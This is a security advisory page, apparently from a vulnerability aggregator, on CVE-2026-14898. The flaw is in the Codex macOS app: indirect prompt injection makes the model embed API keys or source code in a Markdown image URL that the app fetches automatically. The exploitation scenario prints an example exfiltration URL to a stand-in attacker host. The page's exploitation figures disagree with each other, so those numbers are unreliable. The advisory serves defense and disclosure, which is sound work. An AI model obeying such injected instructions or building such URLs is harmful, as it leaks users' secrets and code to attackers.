CVE-2026-14898: prompt injection exfils data

CISO Take

OpenAI's Codex desktop app for macOS auto-rendered remote images embedded in the model's Markdown responses, which meant an attacker who could smuggle instructions into anything Codex reads — a connected tool's output, a fetched webpage, a file in the repo — could get the model to build an image URL with secrets baked into its query string, and the app would fetch it automatically, no click required. For a CISO the real exposure is what lives in a Codex session: API keys, proprietary source code, and whatever data connected tools return, all reachable by any untrusted content the agent ingests during normal use. EPSS sits at just 0.16% (top 94th percentile is a relative ranking, not high absolute likelihood), there's no CISA KEV listing, no public PoC or Nuclei template, and OpenAI reports no known in-the-wild exploitation — so this is a design flaw closed by a vendor fix, not an active campaign. Action: confirm your Codex desktop client is on the patched build (image auto-fetch disabled or sandboxed), and until confirmed, treat any Codex session that ingests third-party or web content as a potential exfiltration channel for keys and code — rotate credentials that were exposed to Codex sessions handling untrusted input if you can't confirm the patch is deployed.

Sources: NVD EPSS ATLAS

What is the risk?

Medium severity (CVSS 6.5, C:H/I:N/A:N) reflecting a pure confidentiality issue with no integrity or availability impact. Attack complexity is low and no privileges are required, but exploitation requires the model to first be steered via indirect prompt injection and requires the victim to have Codex open and process attacker-influenced content (UI:R) — so it's not a zero-click, drive-by bug, but it also doesn't require the victim to click anything once the malicious content is in context. Low EPSS and absence from CISA KEV indicate low observed/predicted mass-exploitation likelihood, but the blast radius per successful exploitation is high: full read access to whatever secrets, source, and tool outputs exist in the session.

How does the attack unfold?

Indirect injection

Attacker plants malicious instructions in content Codex will process, such as a connected-tool result, fetched webpage, or repo/ticket content.

AML.T0051.001

Model manipulation

The injected instructions cause Codex's model to compose a Markdown response embedding session secrets or source code into a remote image URL.

AML.T0057

Automatic exfiltration

The Codex desktop app auto-fetches the image URL while rendering the response, sending the embedded data to the attacker-controlled server with no user click.

AML.T0025

Impact

The attacker retrieves exfiltrated API keys, source code, or tool-derived data from their server logs, enabling further compromise or IP theft.

Indirect injection

Attacker plants malicious instructions in content Codex will process, such as a connected-tool result, fetched webpage, or repo/ticket content.

AML.T0051.001

Model manipulation

The injected instructions cause Codex's model to compose a Markdown response embedding session secrets or source code into a remote image URL.

AML.T0057

Automatic exfiltration

The Codex desktop app auto-fetches the image URL while rendering the response, sending the embedded data to the attacker-controlled server with no user click.

AML.T0025

Impact

The attacker retrieves exfiltrated API keys, source code, or tool-derived data from their server logs, enabling further compromise or IP theft.

How severe is it?

CVSS 3.1

6.5 / 10

EPSS

0.4%

chance of exploitation in 30 days

Higher than 30% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AV Network

AC Low

PR None

UI Required

S Unchanged

C High

I None

A None

What should I do?

1 step

Update the Codex desktop app to the patched version that disables or gates automatic remote image fetching from model-generated Markdown (check OpenAI's release notes/changelog for the fix). Until confirmed patched, avoid connecting Codex to tools or data sources that return untrusted/external content, or run it in environments without secrets in scope. Where possible, restrict outbound network access from the Codex process (e.g., firewall rules limiting egress to known OpenAI endpoints) to blunt exfiltration even if injection succeeds. Rotate API keys and credentials that were present in Codex sessions handling third-party content prior to patching. Detection: monitor egress logs for unusual outbound HTTP(S) requests with long query strings or base64-like parameters originating from the Codex app.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Prompt Injection Data Leakage Agent API AML.T0025 - Exfiltration via Cyber Means AML.T0051.001 - Indirect AML.T0057 - LLM Data Leakage AML.T0077 - LLM Response Rendering

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001

A.9.4 - Data and content controls for AI system inputs/outputs

NIST AI RMF

MEASURE 2.7 - AI system security and resilience evaluation

OWASP LLM Top 10

LLM01:2025 - Prompt Injection LLM02:2025 - Sensitive Information Disclosure LLM05:2025 - Improper Output Handling

Frequently Asked Questions

What is CVE-2026-14898?

OpenAI's Codex desktop app for macOS auto-rendered remote images embedded in the model's Markdown responses, which meant an attacker who could smuggle instructions into anything Codex reads — a connected tool's output, a fetched webpage, a file in the repo — could get the model to build an image URL with secrets baked into its query string, and the app would fetch it automatically, no click required. For a CISO the real exposure is what lives in a Codex session: API keys, proprietary source code, and whatever data connected tools return, all reachable by any untrusted content the agent ingests during normal use. EPSS sits at just 0.16% (top 94th percentile is a relative ranking, not high absolute likelihood), there's no CISA KEV listing, no public PoC or Nuclei template, and OpenAI reports no known in-the-wild exploitation — so this is a design flaw closed by a vendor fix, not an active campaign. Action: confirm your Codex desktop client is on the patched build (image auto-fetch disabled or sandboxed), and until confirmed, treat any Codex session that ingests third-party or web content as a potential exfiltration channel for keys and code — rotate credentials that were exposed to Codex sessions handling untrusted input if you can't confirm the patch is deployed.

Is CVE-2026-14898 actively exploited?

No confirmed active exploitation of CVE-2026-14898 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-14898?

Update the Codex desktop app to the patched version that disables or gates automatic remote image fetching from model-generated Markdown (check OpenAI's release notes/changelog for the fix). Until confirmed patched, avoid connecting Codex to tools or data sources that return untrusted/external content, or run it in environments without secrets in scope. Where possible, restrict outbound network access from the Codex process (e.g., firewall rules limiting egress to known OpenAI endpoints) to blunt exfiltration even if injection succeeds. Rotate API keys and credentials that were present in Codex sessions handling third-party content prior to patching. Detection: monitor egress logs for unusual outbound HTTP(S) requests with long query strings or base64-like parameters originating from the Codex app.

What systems are affected by CVE-2026-14898?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, coding assistants / IDE agents, tool-connected LLM applications.

What is the CVSS score for CVE-2026-14898?

CVE-2026-14898 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.37%.

What is the AI security impact?

Affected AI Architectures

agent frameworkscoding assistants / IDE agentstool-connected LLM applications

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means

AML.T0051.001 Indirect

AML.T0057 LLM Data Leakage

AML.T0077 LLM Response Rendering

Compliance Controls Affected

ISO 42001: A.9.4

NIST AI RMF: MEASURE 2.7

OWASP LLM Top 10: LLM01:2025, LLM02:2025, LLM05:2025

What are the technical details?

Original Advisory

The OpenAI Codex desktop app for macOS rendered remote images from Markdown in model responses. An attacker who could place an indirect prompt injection in content processed by Codex, such as a connected-tool result or another untrusted source, could induce the model to construct a remote image URL containing sensitive data. The app automatically fetched that URL when rendering the response, sending the embedded data to an attacker-controlled server without a separate user click. Successful exploitation could exfiltrate secrets and other information accessible in the Codex session, including API keys, source code, and data returned by connected tools. No direct integrity or availability impact was demonstrated, and there is no known exploitation in the wild.

Exploitation Scenario

A developer uses Codex connected to an internal ticketing system or a web-fetch tool. An attacker plants a hidden instruction inside a ticket description or a web page that Codex later reads while assisting the developer (indirect prompt injection). The injected instruction tells the model to summarize the session's API keys or recently viewed source code and encode them into an image URL pointing to an attacker-controlled server (e.g., `https://attacker.example/x.png?data=<secret>`). Codex renders its response, the desktop app automatically fetches that image to display it, and the secret data is transmitted to the attacker's server as an HTTP request parameter — captured server-side with zero additional clicks from the victim.

Weaknesses (CWE)

CWE-200 Exposure of Sensitive Information to an Unauthorized Actor CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

[Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Source: MITRE CWE corpus.